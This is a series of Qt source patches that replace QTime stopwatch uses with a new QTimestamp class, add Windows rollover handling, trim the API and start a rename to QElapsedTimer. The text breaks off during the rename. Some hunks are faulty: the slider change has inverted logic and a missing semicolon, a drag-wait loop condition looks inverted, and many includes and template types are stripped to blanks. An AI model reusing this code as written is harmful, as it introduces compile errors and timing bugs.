0f771c62f5253a969f5a8a81bfd9254b9bd58b8f Mon Sep 17 00:00:00 2001 From: Thiago Macieira Date: Thu, 18 Feb 2010 20:00:36 +0100 Subject: Port QtGui uses of QTime as a stopwatch to QTimestamp --- src/gui/dialogs/qfileinfogatherer.cpp | 8 +++++--- src/gui/dialogs/qfileinfogatherer_p.h | 5 +++-- src/gui/dialogs/qprogressdialog.cpp | 4 ++-- src/gui/itemviews/qabstractitemview.cpp | 3 ++- src/gui/itemviews/qabstractitemview_p.h | 4 ++-- src/gui/itemviews/qtreeview.cpp | 3 ++- src/gui/kernel/qclipboard_x11.cpp | 15 ++++++--------- src/gui/kernel/qdnd_x11.cpp | 12 ++++-------- src/gui/kernel/qgesture_p.h | 4 ++-- src/gui/kernel/qstandardgestures.cpp | 7 +++---- src/gui/kernel/qwidget_x11.cpp | 4 ++-- src/gui/kernel/qx11embed_x11.cpp | 4 ++-- src/gui/styles/qplastiquestyle.cpp | 4 ++-- src/gui/styles/qwindowsstyle_p.h | 4 ++-- src/gui/text/qfontdatabase_x11.cpp | 8 ++++---- src/gui/widgets/qabstractslider.cpp | 10 +++++----- src/gui/widgets/qabstractslider_p.h | 3 ++- src/gui/widgets/qeffects.cpp | 6 +++--- src/gui/widgets/qscrollbar.cpp | 4 ++-- src/gui/widgets/qworkspace.cpp | 10 +++++----- 20 files changed, 60 insertions(+), 62 deletions(-) diff --git a/src/gui/dialogs/qfileinfogatherer.cpp b/src/gui/dialogs/qfileinfogatherer.cpp index 3b08bf6..a565c45 100644 --- a/src/gui/dialogs/qfileinfogatherer.cpp +++ b/src/gui/dialogs/qfileinfogatherer.cpp @@ -297,7 +297,8 @@ void QFileInfoGatherer::getFileInfos(const QString &path, const QStringList &fil return; } - QTime base = QTime::currentTime(); + QTimestamp base; + base.start(); QFileInfo fileInfo; bool firstTime = true; QList > updatedFiles; @@ -326,9 +327,10 @@ void QFileInfoGatherer::getFileInfos(const QString &path, const QStringList &fil emit directoryLoaded(path); } -void QFileInfoGatherer::fetch(const QFileInfo &fileInfo, QTime &base, bool &firstTime, QList > &updatedFiles, const QString &path) { +void QFileInfoGatherer::fetch(const QFileInfo &fileInfo, QTimestamp &base, bool &firstTime, QList > &updatedFiles, const QString &path) { updatedFiles.append(QPair(fileInfo.fileName(), fileInfo)); - QTime current = QTime::currentTime(); + QTimestamp current; + current.start(); if ((firstTime && updatedFiles.count() > 100) || base.msecsTo(current) > 1000) { emit updates(path, updatedFiles); updatedFiles.clear(); diff --git a/src/gui/dialogs/qfileinfogatherer_p.h b/src/gui/dialogs/qfileinfogatherer_p.h index eff6b3c..a2b9acd 100644 --- a/src/gui/dialogs/qfileinfogatherer_p.h +++ b/src/gui/dialogs/qfileinfogatherer_p.h @@ -60,9 +60,10 @@ #include #include #include -#include #include +#include #include +#include QT_BEGIN_NAMESPACE @@ -174,7 +175,7 @@ protected: void getFileInfos(const QString &path, const QStringList &files); private: - void fetch(const QFileInfo &info, QTime &base, bool &firstTime, QList > &updatedFiles, const QString &path); + void fetch(const QFileInfo &info, QTimestamp &base, bool &firstTime, QList > &updatedFiles, const QString &path); QString translateDriveName(const QFileInfo &drive) const; QMutex mutex; diff --git a/src/gui/dialogs/qprogressdialog.cpp b/src/gui/dialogs/qprogressdialog.cpp index 4fffdba..602f47c 100644 --- a/src/gui/dialogs/qprogressdialog.cpp +++ b/src/gui/dialogs/qprogressdialog.cpp @@ -46,7 +46,6 @@ #include "qshortcut.h" #include "qpainter.h" #include "qdrawutil.h" -#include "qdatetime.h" #include "qlabel.h" #include "qprogressbar.h" #include "qapplication.h" @@ -54,6 +53,7 @@ #include "qpushbutton.h" #include "qcursor.h" #include "qtimer.h" +#include "qtimestamp.h" #include #include @@ -103,7 +103,7 @@ public: QTimer *forceTimer; bool shown_once; bool cancellation_flag; - QTime starttime; + QTimestamp starttime; #ifndef QT_NO_CURSOR QCursor parentCursor; #endif diff --git a/src/gui/itemviews/qabstractitemview.cpp b/src/gui/itemviews/qabstractitemview.cpp index dd9a7e6..34b5e13 100644 --- a/src/gui/itemviews/qabstractitemview.cpp +++ b/src/gui/itemviews/qabstractitemview.cpp @@ -2839,7 +2839,8 @@ void QAbstractItemView::keyboardSearch(const QString &search) QModelIndex start = currentIndex().isValid() ? currentIndex() : d->model->index(0, 0, d->root); - QTime now(QTime::currentTime()); + QTimestamp now; + now.start(); bool skipRow = false; if (search.isEmpty() || (d->keyboardInputTime.msecsTo(now) > QApplication::keyboardInputInterval())) { diff --git a/src/gui/itemviews/qabstractitemview_p.h b/src/gui/itemviews/qabstractitemview_p.h index 82fd1a6..4af98b4 100644 --- a/src/gui/itemviews/qabstractitemview_p.h +++ b/src/gui/itemviews/qabstractitemview_p.h @@ -56,7 +56,6 @@ #include "private/qabstractscrollarea_p.h" #include "private/qabstractitemmodel_p.h" #include "QtGui/qapplication.h" -#include "QtCore/qdatetime.h" #include "QtGui/qevent.h" #include "QtGui/qmime.h" #include "QtGui/qpainter.h" @@ -65,6 +64,7 @@ #include "QtCore/qdebug.h" #include "QtGui/qpainter.h" #include "QtCore/qbasictimer.h" +#include "QtCore/qtimestamp.h" #ifndef QT_NO_ITEMVIEWS @@ -390,7 +390,7 @@ public: #endif QString keyboardInput; - QTime keyboardInputTime; + QTimestamp keyboardInputTime; bool autoScroll; QBasicTimer autoScrollTimer; diff --git a/src/gui/itemviews/qtreeview.cpp b/src/gui/itemviews/qtreeview.cpp index 4135ba0..9f8c322 100644 --- a/src/gui/itemviews/qtreeview.cpp +++ b/src/gui/itemviews/qtreeview.cpp @@ -958,7 +958,8 @@ void QTreeView::keyboardSearch(const QString &search) else start = d->model->index(0, 0, d->root); - QTime now(QTime::currentTime()); + QTimestamp now; + now.start(); bool skipRow = false; if (search.isEmpty() || (d->keyboardInputTime.msecsTo(now) > QApplication::keyboardInputInterval())) { diff --git a/src/gui/kernel/qclipboard_x11.cpp b/src/gui/kernel/qclipboard_x11.cpp index 047bd09..2a9706b 100644 --- a/src/gui/kernel/qclipboard_x11.cpp +++ b/src/gui/kernel/qclipboard_x11.cpp @@ -65,7 +65,6 @@ #include "qapplication.h" #include "qdesktopwidget.h" #include "qbitmap.h" -#include "qdatetime.h" #include "qiodevice.h" #include "qbuffer.h" #include "qtextcodec.h" @@ -76,6 +75,7 @@ #include "qt_x11_p.h" #include "qx11info_x11.h" #include "qimagewriter.h" +#include "qtimestamp.h" #include "qvariant.h" #include "qdnd_p.h" #include @@ -516,8 +516,9 @@ static Bool checkForClipboardEvents(Display *, XEvent *e, XPointer) bool QX11Data::clipboardWaitForEvent(Window win, int type, XEvent *event, int timeout) { - QTime started = QTime::currentTime(); - QTime now = started; + QTimestamp started; + started.start(); + QTimestamp now = started; if (QAbstractEventDispatcher::instance()->inherits("QtMotif") || QApplication::clipboard()->property("useEventLoopWhenWaiting").toBool()) { @@ -545,9 +546,7 @@ bool QX11Data::clipboardWaitForEvent(Window win, int type, XEvent *event, int ti XSync(X11->display, false); usleep(50000); - now = QTime::currentTime(); - if (started > now) // crossed midnight - started = now; + now.start(); QEventLoop::ProcessEventsFlags flags(QEventLoop::ExcludeUserInputEvents | QEventLoop::ExcludeSocketNotifiers @@ -576,9 +575,7 @@ bool QX11Data::clipboardWaitForEvent(Window win, int type, XEvent *event, int ti if (XCheckIfEvent(X11->display, &e, checkForClipboardEvents, 0)) qApp->x11ProcessEvent(&e); - now = QTime::currentTime(); - if ( started > now ) // crossed midnight - started = now; + now.start(); XFlush(X11->display); diff --git a/src/gui/kernel/qdnd_x11.cpp b/src/gui/kernel/qdnd_x11.cpp index 9591b9a..0d24ed7 100644 --- a/src/gui/kernel/qdnd_x11.cpp +++ b/src/gui/kernel/qdnd_x11.cpp @@ -51,10 +51,10 @@ #include "qbitmap.h" #include "qdesktopwidget.h" #include "qevent.h" -#include "qdatetime.h" #include "qiodevice.h" #include "qpointer.h" #include "qcursor.h" +#include "qtimestamp.h" #include "qvariant.h" #include "qvector.h" #include "qurl.h" @@ -1911,23 +1911,19 @@ Qt::DropAction QDragManager::drag(QDrag * o) // then we could still have problems, but this is highly unlikely QApplication::flush(); - QTime started = QTime::currentTime(); - QTime now = started; + QTimestamp timer; + timer.start(); do { XEvent event; if (XCheckTypedEvent(X11->display, ClientMessage, &event)) qApp->x11ProcessEvent(&event); - now = QTime::currentTime(); - if (started > now) // crossed midnight - started = now; - // sleep 50 ms, so we don't use up CPU cycles all the time. struct timeval usleep_tv; usleep_tv.tv_sec = 0; usleep_tv.tv_usec = 50000; select(0, 0, 0, 0, &usleep_tv); - } while (object && started.msecsTo(now) < 1000); + } while (object && timer.hasExpired(1000)); } object = o; diff --git a/src/gui/kernel/qgesture_p.h b/src/gui/kernel/qgesture_p.h index 649a310..84d8b7c 100644 --- a/src/gui/kernel/qgesture_p.h +++ b/src/gui/kernel/qgesture_p.h @@ -55,8 +55,8 @@ #include "qrect.h" #include "qpoint.h" -#include "qdatetime.h" #include "qgesture.h" +#include "qtimestamp.h" #include "private/qobject_p.h" QT_BEGIN_NAMESPACE @@ -148,7 +148,7 @@ public: QPoint lastPositions[3]; bool started; qreal speed; - QTime time; + QTimestamp time; }; class QTapGesturePrivate : public QGesturePrivate diff --git a/src/gui/kernel/qstandardgestures.cpp b/src/gui/kernel/qstandardgestures.cpp index 86bf1b2e..a575717 100644 --- a/src/gui/kernel/qstandardgestures.cpp +++ b/src/gui/kernel/qstandardgestures.cpp @@ -301,7 +301,7 @@ QGestureRecognizer::Result QSwipeGestureRecognizer::recognize(QGesture *state, switch (event->type()) { case QEvent::TouchBegin: { d->speed = 1; - d->time = QTime::currentTime(); + d->time.start(); d->started = true; result = QGestureRecognizer::MayBeGesture; break; @@ -338,11 +338,10 @@ QGestureRecognizer::Result QSwipeGestureRecognizer::recognize(QGesture *state, p3.screenPos().y() - d->lastPositions[2].y()) / 3; const int distance = xDistance >= yDistance ? xDistance : yDistance; - int elapsedTime = d->time.msecsTo(QTime::currentTime()); + int elapsedTime = d->time.restart(); if (!elapsedTime) elapsedTime = 1; d->speed = 0.9 * d->speed + distance / elapsedTime; - d->time = QTime::currentTime(); d->swipeAngle = QLineF(p1.startScreenPos(), p1.screenPos()).angle(); static const int MoveThreshold = 50; @@ -405,7 +404,7 @@ void QSwipeGestureRecognizer::reset(QGesture *state) d->lastPositions[0] = d->lastPositions[1] = d->lastPositions[2] = QPoint(); d->started = false; d->speed = 0; - d->time = QTime(); + d->time.invalidate(); QGestureRecognizer::reset(state); } diff --git a/src/gui/kernel/qwidget_x11.cpp b/src/gui/kernel/qwidget_x11.cpp index 10fb009..3fbb9ce 100644 --- a/src/gui/kernel/qwidget_x11.cpp +++ b/src/gui/kernel/qwidget_x11.cpp @@ -49,7 +49,7 @@ #include "qbitmap.h" #include "qlayout.h" #include "qtextcodec.h" -#include "qdatetime.h" +#include "qtimestamp.h" #include "qcursor.h" #include "qstack.h" #include "qcolormap.h" @@ -352,7 +352,7 @@ Q_GUI_EXPORT void qt_x11_wait_for_window_manager(QWidget* w) return; QApplication::flush(); XEvent ev; - QTime t; + QTimestamp t; t.start(); static const int maximumWaitTime = 2000; if (!w->testAttribute(Qt::WA_WState_Created)) diff --git a/src/gui/kernel/qx11embed_x11.cpp b/src/gui/kernel/qx11embed_x11.cpp index 35850db..b92a5b1 100644 --- a/src/gui/kernel/qx11embed_x11.cpp +++ b/src/gui/kernel/qx11embed_x11.cpp @@ -47,7 +47,7 @@ #include #include #include -#include +#include #include #include #include @@ -1231,7 +1231,7 @@ void QX11EmbedContainer::embedClient(WId id) For safety, we will not wait more than 500 ms, so that we can preemptively workaround buggy window managers. */ - QTime t; + QTimestamp t; t.start(); functorData data; diff --git a/src/gui/styles/qplastiquestyle.cpp b/src/gui/styles/qplastiquestyle.cpp index 9f69fd8..9f4d48e 100644 --- a/src/gui/styles/qplastiquestyle.cpp +++ b/src/gui/styles/qplastiquestyle.cpp @@ -56,7 +56,6 @@ static const int blueFrameWidth = 2; // with of line edit focus frame #include #include #include -#include #include #include #include @@ -81,6 +80,7 @@ static const int blueFrameWidth = 2; // with of line edit focus frame #include #include #include +#include #include #include #include @@ -980,7 +980,7 @@ public: #ifndef QT_NO_PROGRESSBAR QList bars; int progressBarAnimateTimer; - QTime timer; + QTimestamp timer; #endif }; diff --git a/src/gui/styles/qwindowsstyle_p.h b/src/gui/styles/qwindowsstyle_p.h index 808abe1..92060d8 100644 --- a/src/gui/styles/qwindowsstyle_p.h +++ b/src/gui/styles/qwindowsstyle_p.h @@ -58,8 +58,8 @@ #ifndef QT_NO_STYLE_WINDOWS #include -#include #include +#include QT_BEGIN_NAMESPACE @@ -80,7 +80,7 @@ public: QList bars; int animationFps; int animateTimer; - QTime startTime; + QTimestamp startTime; int animateStep; QColor inactiveCaptionText; QColor activeCaptionColor; diff --git a/src/gui/text/qfontdatabase_x11.cpp b/src/gui/text/qfontdatabase_x11.cpp index bb1e60d..fd3cba8 100644 --- a/src/gui/text/qfontdatabase_x11.cpp +++ b/src/gui/text/qfontdatabase_x11.cpp @@ -41,9 +41,9 @@ #include -#include #include #include +#include #include #include "qx11info_x11.h" @@ -1218,7 +1218,7 @@ static void load(const QString &family = QString(), int script = -1, bool forceX } #ifdef QFONTDATABASE_DEBUG - QTime t; + QTimestamp t; t.start(); #endif @@ -1301,7 +1301,7 @@ static void initializeDb() if (!db || db->count) return; - QTime t; + QTimestamp t; t.start(); #ifndef QT_NO_FONTCONFIG @@ -1314,7 +1314,7 @@ static void initializeDb() } loadFontConfig(); - FD_DEBUG("QFontDatabase: loaded FontConfig: %d ms", t.elapsed()); + FD_DEBUG("QFontDatabase: loaded FontConfig: %d ms", int(t.elapsed())); #endif t.start(); diff --git a/src/gui/widgets/qabstractslider.cpp b/src/gui/widgets/qabstractslider.cpp index 522d472..8f53116 100644 --- a/src/gui/widgets/qabstractslider.cpp +++ b/src/gui/widgets/qabstractslider.cpp @@ -764,12 +764,12 @@ void QAbstractSlider::keyPressEvent(QKeyEvent *ev) SliderAction action = SliderNoAction; #ifdef QT_KEYPAD_NAVIGATION if (ev->isAutoRepeat()) { - if (d->firstRepeat.isNull()) - d->firstRepeat = QTime::currentTime(); + if (!d->firstRepeat.isValid()) + d->firstRepeat.start(); else if (1 == d->repeatMultiplier) { // This is the interval in milli seconds which one key repetition // takes. - const int repeatMSecs = d->firstRepeat.msecsTo(QTime::currentTime()); + const int repeatMSecs = d->firstRepeat.elapsed(); /** * The time it takes to currently navigate the whole slider. @@ -787,8 +787,8 @@ void QAbstractSlider::keyPressEvent(QKeyEvent *ev) } } - else if (!d->firstRepeat.isNull()) { - d->firstRepeat = QTime(); + else if (!d->firstRepeat.isValid()) { + d->firstRepeat.invalidate() d->repeatMultiplier = 1; } diff --git a/src/gui/widgets/qabstractslider_p.h b/src/gui/widgets/qabstractslider_p.h index 6e6ff6e..c8c29b5 100644 --- a/src/gui/widgets/qabstractslider_p.h +++ b/src/gui/widgets/qabstractslider_p.h @@ -54,6 +54,7 @@ // #include "QtCore/qbasictimer.h" +#include "QtCore/qtimestamp.h" #include "private/qwidget_p.h" #include "qstyle.h" @@ -103,7 +104,7 @@ public: /** * The time of when the first auto repeating key press event occurs. */ - QTime firstRepeat; + QTimestamp firstRepeat; #endif diff --git a/src/gui/widgets/qeffects.cpp b/src/gui/widgets/qeffects.cpp index dd7fc48..9dd853f 100644 --- a/src/gui/widgets/qeffects.cpp +++ b/src/gui/widgets/qeffects.cpp @@ -41,7 +41,6 @@ #include "qapplication.h" #ifndef QT_NO_EFFECTS -#include "qdatetime.h" #include "qdesktopwidget.h" #include "qeffects_p.h" #include "qevent.h" @@ -50,6 +49,7 @@ #include "qpixmap.h" #include "qpointer.h" #include "qtimer.h" +#include "qtimestamp.h" #include "qdebug.h" QT_BEGIN_NAMESPACE @@ -103,7 +103,7 @@ private: int elapsed; bool showWidget; QTimer anim; - QTime checkTime; + QTimestamp checkTime; double windowOpacity; }; @@ -384,7 +384,7 @@ private: int orientation; QTimer anim; - QTime checkTime; + QTimestamp checkTime; QPixmap pm; }; diff --git a/src/gui/widgets/qscrollbar.cpp b/src/gui/widgets/qscrollbar.cpp index c0eeb2f..894300d 100644 --- a/src/gui/widgets/qscrollbar.cpp +++ b/src/gui/widgets/qscrollbar.cpp @@ -47,7 +47,7 @@ #include "qstyle.h" #include "qstyleoption.h" #include "qmenu.h" -#include +#include #ifndef QT_NO_SCROLLBAR @@ -613,7 +613,7 @@ void QScrollBar::mousePressEvent(QMouseEvent *e) } const int initialDelay = 500; // default threshold d->activateControl(d->pressedControl, initialDelay); - QTime time; + QTimestamp time; time.start(); repaint(style()->subControlRect(QStyle::CC_ScrollBar, &opt, d->pressedControl, this)); if (time.elapsed() >= initialDelay && d->repeatActionTimer.isActive()) { diff --git a/src/gui/widgets/qworkspace.cpp b/src/gui/widgets/qworkspace.cpp index 2a6a7da..b4e4cc4 100644 --- a/src/gui/widgets/qworkspace.cpp +++ b/src/gui/widgets/qworkspace.cpp @@ -44,7 +44,6 @@ #include "qapplication.h" #include "qbitmap.h" #include "qcursor.h" -#include "qdatetime.h" #include "qdesktopwidget.h" #include "qevent.h" #include "qhash.h" @@ -59,6 +58,7 @@ #include "qscrollbar.h" #include "qstyle.h" #include "qstyleoption.h" +#include "qtimestamp.h" #include "qtooltip.h" #include "qdebug.h" #include @@ -450,10 +450,10 @@ void QWorkspaceTitleBar::mousePressEvent(QMouseEvent *e) case QStyle::SC_TitleBarSysMenu: if (d->flags & Qt::WindowSystemMenuHint) { d->buttonDown = QStyle::SC_None; - static QTime *t = 0; + static QTimestamp *t = 0; static QWorkspaceTitleBar *tc = 0; if (!t) - t = new QTime; + t = new QTimestamp; if (tc != this || t->elapsed() > QApplication::doubleClickInterval()) { emit showOperationMenu(); t->start(); @@ -1839,7 +1839,7 @@ bool QWorkspace::event(QEvent *e) bool QWorkspace::eventFilter(QObject *o, QEvent * e) { Q_D(QWorkspace); - static QTime* t = 0; + static QTimestamp* t = 0; static QWorkspace* tc = 0; if (o == d->maxtools) { switch (e->type()) { @@ -1847,7 +1847,7 @@ bool QWorkspace::eventFilter(QObject *o, QEvent * e) { QMenuBar* b = (QMenuBar*)o->parent(); if (!t) - t = new QTime; + t = new QTimestamp; if (tc != this || t->elapsed() > QApplication::doubleClickInterval()) { if (isRightToLeft()) { QPoint p = b->mapToGlobal(QPoint(b->x() + b->width(), b->y() + b->height())); -- cgit v0.12 From 0e0ac26bc58626df780e0fc3bc0483d5b310db8b Mon Sep 17 00:00:00 2001 From: Thiago Macieira Date: Fri, 19 Feb 2010 10:08:19 +0100 Subject: Port QtMultimedia uses of QTime as a stopwatch to QTimestamp (unix code only) --- src/multimedia/audio/qaudioinput_alsa_p.h | 5 +++-- src/multimedia/audio/qaudiooutput_alsa_p.h | 5 +++-- 2 files changed, 6 insertions(+), 4 deletions(-) diff --git a/src/multimedia/audio/qaudioinput_alsa_p.h b/src/multimedia/audio/qaudioinput_alsa_p.h index 92cef83..9a87691 100644 --- a/src/multimedia/audio/qaudioinput_alsa_p.h +++ b/src/multimedia/audio/qaudioinput_alsa_p.h @@ -61,6 +61,7 @@ #include #include #include +#include #include #include @@ -116,8 +117,8 @@ private: void drain(); QTimer* timer; - QTime timeStamp; - QTime clockStamp; + QTimestamp timeStamp; + QTimestamp clockStamp; qint64 elapsedTimeOffset; int intervalTime; char* audioBuffer; diff --git a/src/multimedia/audio/qaudiooutput_alsa_p.h b/src/multimedia/audio/qaudiooutput_alsa_p.h index 802bc27..c655701 100644 --- a/src/multimedia/audio/qaudiooutput_alsa_p.h +++ b/src/multimedia/audio/qaudiooutput_alsa_p.h @@ -60,6 +60,7 @@ #include #include #include +#include #include #include @@ -133,8 +134,8 @@ private: QTimer* timer; QByteArray m_device; int bytesAvailable; - QTime timeStamp; - QTime clockStamp; + QTimestamp timeStamp; + QTimestamp clockStamp; qint64 elapsedTimeOffset; char* audioBuffer; snd_pcm_t* handle; -- cgit v0.12 From e0f654ceb4a46ed60351743090dbc13ea8b92106 Mon Sep 17 00:00:00 2001 From: Thiago Macieira Date: Fri, 19 Feb 2010 10:15:44 +0100 Subject: Port QTest::qWait also to use QTimestamp. To avoid using QTimestamp to test QTimestamp, use QTest::qSleep in QTimestamp's own testcase. --- src/testlib/qtestsystem.h | 4 ++-- tests/auto/qtimestamp/tst_qtimestamp.cpp | 2 +- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/src/testlib/qtestsystem.h b/src/testlib/qtestsystem.h index 3c11cdd..54da114 100644 --- a/src/testlib/qtestsystem.h +++ b/src/testlib/qtestsystem.h @@ -44,7 +44,7 @@ #include #include -#include +#include QT_BEGIN_HEADER @@ -63,7 +63,7 @@ namespace QTest { Q_ASSERT(QCoreApplication::instance()); - QTime timer; + QTimestamp timer; timer.start(); do { QCoreApplication::processEvents(QEventLoop::AllEvents, ms); diff --git a/tests/auto/qtimestamp/tst_qtimestamp.cpp b/tests/auto/qtimestamp/tst_qtimestamp.cpp index ab1e959..79138ce 100644 --- a/tests/auto/qtimestamp/tst_qtimestamp.cpp +++ b/tests/auto/qtimestamp/tst_qtimestamp.cpp @@ -63,7 +63,7 @@ void tst_QTimestamp::elapsed() QTimestamp t1; t1.start(); - QTest::qWait(4*minResolution); + QTest::qSleep(4*minResolution); QTimestamp t2; t2.start(); -- cgit v0.12 From 500b55813c591c35a63d76cb0f6809578c9ec053 Mon Sep 17 00:00:00 2001 From: Thiago Macieira Date: Fri, 19 Feb 2010 14:08:17 +0100 Subject: Add support for 32-bit rollovers on Windows --- src/corelib/tools/qtimestamp_win.cpp | 26 +++++++++++++++++++++----- 1 file changed, 21 insertions(+), 5 deletions(-) diff --git a/src/corelib/tools/qtimestamp_win.cpp b/src/corelib/tools/qtimestamp_win.cpp index 72d38d0..34bf7a7 100644 --- a/src/corelib/tools/qtimestamp_win.cpp +++ b/src/corelib/tools/qtimestamp_win.cpp @@ -76,6 +76,18 @@ static quint64 getTickCount() return GetTickCount(); } +static qint64 difference(qint64 a, qint64 b) +{ + qint64 retval = a - b; + // if we're not using GetTickCount64, then there can be 32-bit rollover + // assume there were rollovers if the difference is negative by more than + // 75% of the 32-bit range + + if (!ptrGetTickCount64 && retval < Q_INT64_C(-0xc0000000)) + retval += Q_UINT64_C(0x100000000); + return retval; +} + bool QTimestamp::isMonotonic() { return true; @@ -91,22 +103,26 @@ qint64 QTimestamp::restart() { qint64 oldt1 = t1; t1 = getTickCount(); - return t1 - oldt1; + return difference(t1, oldt1); } qint64 QTimestamp::elapsed() const { - return getTickCount() - t1; + return difference(getTickCount(), t1); } qint64 QTimestamp::msecsTo(const QTimestamp &other) const { - return other.t1 - t1; + return difference(other.t1, t1); } void QTimestamp::addMSecs(int ms) { t1 += ms; + + // do we need to simulate rolling over? + if (!ptrGetTickCount64) + t1 = quint32(t1); } qint64 QTimestamp::secsTo(const QTimestamp &other) const @@ -116,12 +132,12 @@ qint64 QTimestamp::secsTo(const QTimestamp &other) const void QTimestamp::addSecs(int secs) { - t1 += secs * 1000; + addMSecs(secs * 1000); } bool operator<(const QTimestamp &v1, const QTimestamp &v2) { - return v1.t1 < v2.t1; + return difference(v1.t1, v2.t1) < 0; } QT_END_NAMESPACE -- cgit v0.12 From e0c97f943e80488c7e674075d40a27822b7e8c78 Mon Sep 17 00:00:00 2001 From: Thiago Macieira Date: Fri, 19 Feb 2010 17:04:55 +0100 Subject: Remove unnecessary functions from the QTimestamp API. If necesary, we can add them back later. But let's not add functions we don't need right now. --- src/corelib/tools/qtimestamp.h | 13 ------------- src/corelib/tools/qtimestamp_generic.cpp | 10 ---------- src/corelib/tools/qtimestamp_mac.cpp | 17 ----------------- src/corelib/tools/qtimestamp_symbian.cpp | 11 ----------- src/corelib/tools/qtimestamp_unix.cpp | 11 ----------- src/corelib/tools/qtimestamp_win.cpp | 14 -------------- 6 files changed, 76 deletions(-) diff --git a/src/corelib/tools/qtimestamp.h b/src/corelib/tools/qtimestamp.h index 1e913f0..de87ad8 100644 --- a/src/corelib/tools/qtimestamp.h +++ b/src/corelib/tools/qtimestamp.h @@ -64,9 +64,7 @@ public: bool hasExpired(qint64 timeout) const; qint64 msecsTo(const QTimestamp &other) const; - void addMSecs(int ms); qint64 secsTo(const QTimestamp &other) const; - void addSecs(int secs); bool operator==(const QTimestamp &other) const { return t1 == other.t1 && t2 == other.t2; } @@ -74,17 +72,6 @@ public: { return !(*this == other); } friend bool Q_CORE_EXPORT operator<(const QTimestamp &v1, const QTimestamp &v2); - friend qint64 operator-(const QTimestamp &v1, const QTimestamp &v2) - { return v2.msecsTo(v1); } - - friend QTimestamp &operator+=(QTimestamp &ts, qint64 ms) - { ts.addMSecs(ms); return ts; } - friend QTimestamp operator+(const QTimestamp &ts, qint64 ms) - { QTimestamp copy(ts); return copy += ms; } - friend QTimestamp &operator-=(QTimestamp &ts, qint64 ms) - { ts.addMSecs(-ms); return ts; } - friend QTimestamp operator-(const QTimestamp &ts, qint64 ms) - { QTimestamp copy(ts); return copy -= ms; } private: qint64 t1; diff --git a/src/corelib/tools/qtimestamp_generic.cpp b/src/corelib/tools/qtimestamp_generic.cpp index 9930932..c80ac34 100644 --- a/src/corelib/tools/qtimestamp_generic.cpp +++ b/src/corelib/tools/qtimestamp_generic.cpp @@ -78,21 +78,11 @@ qint64 QTimestamp::msecsTo(const QTimestamp &other) const return diff; } -void QTimestamp::addMSecs(int ms) -{ - t1 += ms; -} - qint64 QTimestamp::secsTo(const QTimestamp &other) const { return msecsTo(other) / 1000; } -void QTimestamp::addSecs(int secs) -{ - t1 += secs * 1000; -} - bool operator<(const QTimestamp &v1, const QTimestamp &v2) { return v1.t1 < v2.t1; diff --git a/src/corelib/tools/qtimestamp_mac.cpp b/src/corelib/tools/qtimestamp_mac.cpp index a80e7ee..02f0fa7 100644 --- a/src/corelib/tools/qtimestamp_mac.cpp +++ b/src/corelib/tools/qtimestamp_mac.cpp @@ -66,13 +66,6 @@ static qint64 absoluteToMSecs(qint64 cpuTime) return absoluteToNSecs(cpuTime) / 1000000; } -static qint64 msecsToAbsolute(qint64 ms) -{ - if (info.denom == 0) - mach_timebase_info(&info); - return ms * 1000000 * info.denom / info.numer; -} - timeval qt_gettime() { timeval tv; @@ -109,21 +102,11 @@ qint64 QTimestamp::msecsTo(const QTimestamp &other) const return absoluteToMSecs(other.t1 - t1); } -void QTimestamp::addMSecs(int ms) -{ - t1 += msecsToAbsolute(ms); -} - qint64 QTimestamp::secsTo(const QTimestamp &other) const { return msecsTo(other) / 1000; } -void QTimestamp::addSecs(int secs) -{ - t1 += msecsToAbsolute(secs * 1000); -} - bool operator<(const QTimestamp &v1, const QTimestamp &v2) { return v1.t1 < v2.t1; diff --git a/src/corelib/tools/qtimestamp_symbian.cpp b/src/corelib/tools/qtimestamp_symbian.cpp index e78597c..1d7b6ff 100644 --- a/src/corelib/tools/qtimestamp_symbian.cpp +++ b/src/corelib/tools/qtimestamp_symbian.cpp @@ -93,22 +93,11 @@ qint64 QTimestamp::msecsTo(const QTimestamp &other) const return difference(other.t1, t1); } -void QTimestamp::addMSecs(int ms) -{ - // simulate a 32-bit rollover - t1 = quint32(t1 + ms); -} - qint64 QTimestamp::secsTo(const QTimestamp &other) const { return msecsTo(other) / 1000; } -void QTimestamp::addSecs(int secs) -{ - addMSecs(secs * 1000); -} - bool operator<(const QTimestamp &v1, const QTimestamp &v2) { return difference(v1.t1, v2.t1) < 0; diff --git a/src/corelib/tools/qtimestamp_unix.cpp b/src/corelib/tools/qtimestamp_unix.cpp index 75371e7..507c861 100644 --- a/src/corelib/tools/qtimestamp_unix.cpp +++ b/src/corelib/tools/qtimestamp_unix.cpp @@ -156,22 +156,11 @@ qint64 QTimestamp::msecsTo(const QTimestamp &other) const return secs * 1000 + fraction / fractionAdjustment(); } -void QTimestamp::addMSecs(int ms) -{ - t1 += ms / 1000; - t2 += ms % 1000 * fractionAdjustment(); -} - qint64 QTimestamp::secsTo(const QTimestamp &other) const { return other.t1 - t1; } -void QTimestamp::addSecs(int secs) -{ - t1 += secs; -} - bool operator<(const QTimestamp &v1, const QTimestamp &v2) { return v1.t1 < v2.t1 || (v1.t1 == v2.t1 && v1.t2 < v2.t2); diff --git a/src/corelib/tools/qtimestamp_win.cpp b/src/corelib/tools/qtimestamp_win.cpp index 34bf7a7..1aea5cf 100644 --- a/src/corelib/tools/qtimestamp_win.cpp +++ b/src/corelib/tools/qtimestamp_win.cpp @@ -116,25 +116,11 @@ qint64 QTimestamp::msecsTo(const QTimestamp &other) const return difference(other.t1, t1); } -void QTimestamp::addMSecs(int ms) -{ - t1 += ms; - - // do we need to simulate rolling over? - if (!ptrGetTickCount64) - t1 = quint32(t1); -} - qint64 QTimestamp::secsTo(const QTimestamp &other) const { return msecsTo(other) / 1000; } -void QTimestamp::addSecs(int secs) -{ - addMSecs(secs * 1000); -} - bool operator<(const QTimestamp &v1, const QTimestamp &v2) { return difference(v1.t1, v2.t1) < 0; -- cgit v0.12 From 21983be486af0d252b8d393ed36b15becb3c8824 Mon Sep 17 00:00:00 2001 From: Thiago Macieira Date: Fri, 26 Feb 2010 15:02:26 +0100 Subject: Rename QTimestamp to QElapsedTimer --- src/corelib/animation/qabstractanimation_p.h | 4 ++-- src/corelib/io/qprocess.cpp | 6 +++--- src/corelib/io/qprocess_unix.cpp | 8 ++++---- src/corelib/kernel/qcore_unix.cpp | 4 ++-- src/corelib/kernel/qcore_unix_p.h | 2 +- src/corelib/kernel/qcoreapplication.cpp | 4 ++-- src/corelib/kernel/qeventdispatcher_unix.cpp | 6 +++--- src/corelib/tools/qdatetime.h | 2 +- src/corelib/tools/qtimeline.cpp | 4 ++-- 